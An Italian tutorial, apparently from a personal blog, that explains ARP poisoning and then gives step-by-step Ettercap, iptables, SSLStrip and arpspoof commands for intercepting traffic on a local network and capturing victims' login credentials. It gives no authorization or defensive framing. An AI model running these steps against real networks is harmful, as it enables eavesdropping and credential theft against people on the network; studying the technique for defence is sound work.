Man In The Middle & SSL Attack Autore: Duffabio Provenienza: http://duffabio.altervista.org/ Ringrazio BlackLight perchè per la teoria mi sono basato sulle sue guide visto che è da li che ho studiato la tecnica del MITM. Con la tipologia di attacco Man In The Middle noi proviamo a riderigere il traffico tra due host (vittime) a un terzo host (attacker). 0x01 - Man In The Middle In Locale Per sniffare il traffico in locale la tecnica piu usata e' l' ARP Poisoning. Ma vorrei introdurre prima Ethernet. Ethernet è il nome di un protocollo per reti locali cioè un protocollo per comunicare tra vari host in locale; ed appartiene al livello di data-link (riguardante il collegamento fisico) del protocollo TCP/IP (protocollo di internet). Questo significa che ogni pacchetto di traffico viene preso dal protocollo TCP/IP in modo da contenere informazioni su: -Protocollo usato. -IP del Mittente. -IP del Destinatario. Il pacchetto viene poi messo in un frame dallo standard ethernet, in modo da avere una precisa struttura:
Ciò è necessario perché Ethernet non identifica le macchine connesse in rete attraverso il loro IP standard di comunicazione via internet, ma tramite un numero univoco a 48 bit chiamato MAC (Media Access Controllers) address, un numero che identifica senza ambiguità una scheda di rete dall'altra. Responsabile della mappatura dei 32 bit dell'indirizzo IP nei 48 del MAC è il protocollo ARP (Address Resolution Protocol). Questo protocollo è strutturato attraverso due tipi di comunicazione con il resto della rete. -ARP request, generalmente inviata dal gateway in broadcast, richiede il MAC associato ad un certo IP in rete (Who has 0.0.0.0?). -ARP reply, spedita dall'host richiesto in risposta ad una ARP request. Tramite questo messaggio l'host comunica al gateway il suo MAC. 0x02 - ARP Cache L'ARP cache è una struttura progettata in modo di massimizare le prestazioni di una rete, in modo da non inviare ogni volta una ARP Request per inviare un pacchetto a un host alla quale si è inviato un pacchetto di recente. La ARP cache memorizza per un periodo di tempo variabile, gli indirizzi MAC con cui sono avvenute delle comunicazioni e gli IP associati. Il comportamento per l'invio di un pacchetto TCP/IP è quello di controllare nella ARP Cache se già si ha il MAC associato all'indirizzo IP richiesto. Nel caso la risposta sia positiva viene creato il frame Ethernet e il pacchetto viene inviato. Se la risposta è negativa viene mandata una ARP Request in broadcast sulla rete e si aspetta la risposta dall'host con una ARP Reply che comunica (trasmette) il suo MAC. In tal caso il MAC viene messo nel frame Ethernet e il pacchetto viene ugualmente inviato. Quando invece arriva una ARP Reply, il kernel mette nella propria ARP Cache il MAC in questione. In alcuni sistemi come Solaris il MAC viene inserito nella ARP Cache soltanto se prima della ARP Reply il kernel aveva mandato una ARP Request. Windows e Linux invece inseriscono il MAC nella ARP Cache anche se nella ARP Reply non era stata richiesta. 0x03 - ARP Poisoning Sfruttando il comportamento di un host durante la ricezione di una ARP Reply è possibile modificare la Cache ARP. Immaginiamo di essere in uno scenario di rete locale del genere (ARP cache prima del poisoning): sh$ arp -a host1 (192.168.1.1) at 01:01:01:01:01:01 [ether] on eth0 host2 (192.168.1.2) at 02:02:02:02:02:02 [ether] on eth0 host3 (192.168.1.3) at 03:03:03:03:03:03 [ether] on eth0
Dove host1 e host2 sono le due macchine (vittime) di cui vogliamo dirottare il traffico, mentre host3 è il nostro attacker. Se host3 manda una ARP Reply a host1 che contiene il suo MAC e dicendo in essa di essere host2, host1 ricorderà il MAC di host3 all'interno della propria Cache ARP, e da lì in poi tutti i pacchetti mandati a host2 verranno in realtà inviati (quindi dirottati) a host3. L'attacker farà lo stesso anche con host2, mandandogli una ARP Reply contenente il suo MAC e dicendo di essere host1, e così il suo MAC verrà ricordato nella Cache ARP di host2. D'ora in poi tutti i pacchetti scambiati tra host1 e host2 transiteranno prima su host3, che potrà visualizzare il contenuto prima di reinviarli ai legittimi destinatari. 0x04 - Attacco Tramite Ettercap Installazione Ettercap (se sei su Ubuntu): Aprite il Termianale e inserire: sudo apt-get install ettercap-gtk Avviare Ettercap sudo ettercap -G oppure Applicazioni --> Internet --> Ettercap Impostare lo Sniffing Una volta aperto Ettercap andate su: Sniff > Unified Sniffing (oppure Shift + U) E scegliere l'interfaccia di rete da utilizzare. Trovare Altri Host Per trovare altri Host andare su (in modo da analizzare la rete): Hosts > Scan for Hosts (oppure Ctrl + S) Poi per trovare gli altri Host connessi: Hosts > Hosts List Seleziona le vittime Una volta visualizzati gli Host basta inserirli come Target. Selezionare gli Host che ti interessano una alla volta e cliccare prima: Add To Target 1 e poi Add To Target 2
Per visualizzare gli host selezionati: Targets > Currents Targets ARP Poisoning con Ettercap Cliccare su: MIMT > ARP Poisoning Si aprirà una finestra e se non si hanno precise esigenze si puo lasciare tutto deselezionato. Sniffing Dei Pacchetti Per iniziare a Sniffare i pacchetti: Clicca su Start > Start Sniffing Ettercap inizierà a Sniffare i dati che vengono trasmessi sulla rete. 0x05 - Sniffare i dati delle "Connessioni Sicure" SSL Secure Sockets Layer (SSL) è un protocollo crittografico che permette una comunicazione sicura e una integrità dei dati su reti TCP/IP come, ad esempio, internet. SSL cifra la comunicazione dalla sorgente alla destinazione (end-to-end) sul livello di trasporto. Diverse versioni del protocollo sono ampiamente utilizzate in applicazioni come i browser, l'e-mail, la messaggistica istantanea e il Voice over IP. Per poter sniffare i dati avremmo bisogno questa volta del tool SLLStrip. Che è in grado di intercettare le connessioni (trasmissioni) SSL servendosi della tecnica dell hijacking. Cit. da: Wikipedia "Il termine hijacking indica una tecnica che consiste nel modificare opportunamente dei pacchetti dei protocolli TCP/IP al fine di dirottare i collegamenti ai propri siti e prenderne il controllo" Funzionamento di SSLStrip Il tool analizza continuamente la rete, captando il traffico SSL appena un host fa una richiesta di una pagina cifrata. In questo caso il tool crea una copia della pagina richiesta dalla vittima. Quest ultima verrà quindi dirottata sulla pagina clonata nella quale inserirà i propri dati di accesso, e cosi riceviamo i dati. Il tool è scritto in Python.
Ora proveremo su Ubuntu. Innanzitutto installiamo i software di cui ha bisogno il tool per fungere, digitiamo sul terminale: sudo apt-get install python && sudo apt-get install python-twisted-web && sudo apt-get install dsniff Adesso scarichiamo il file contente SSLStrip cliccando qui sulla Scrivania. Digitamo quindi sul terminale: cd Scrivania poi tar zxvf sslstrip-0.6.tar.gz poi cd sslstrip-0.6 poi sudo python./setup.py install Attacco con SSLStrip Mandiamo la scheda di rete in forwarding mode digitando: sudo su echo "1" > /proc/sys/net/ipv4/ip_forward Settiamo le iptables in maniera da reindirizzare il traffico HTTP verso SSLStrip digitando: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <porta> Avviamo SSLStrip digitando: python./sslstrip.py -l <porta> Alle precedenti righe andrà sostituito <porta> con il numero corrispondente alla porta da mettere in ascolto per l attacco. Abbiamo finito, ora ci basta avviare un ARP Spoof per obbligare la rete a reindirizzare il traffico verso l'host dell'attacker. Per fare ciò apriamo un altro terminale lasciando aperto il precedente.
Digitiamo sul nuovo terminale: arpspoof -i <interface> -t <targetip> <gatewayip> Al posto di <targetip> va messo l ip della vittima e al posto di <gatewayip> l indirizzo il del router. A questo punto lo script inizierà a lavorare secondo il procedimento accennato sopra catturando i dati di accesso. Vi saluto e vi rimando alla prossima guida. Ciao!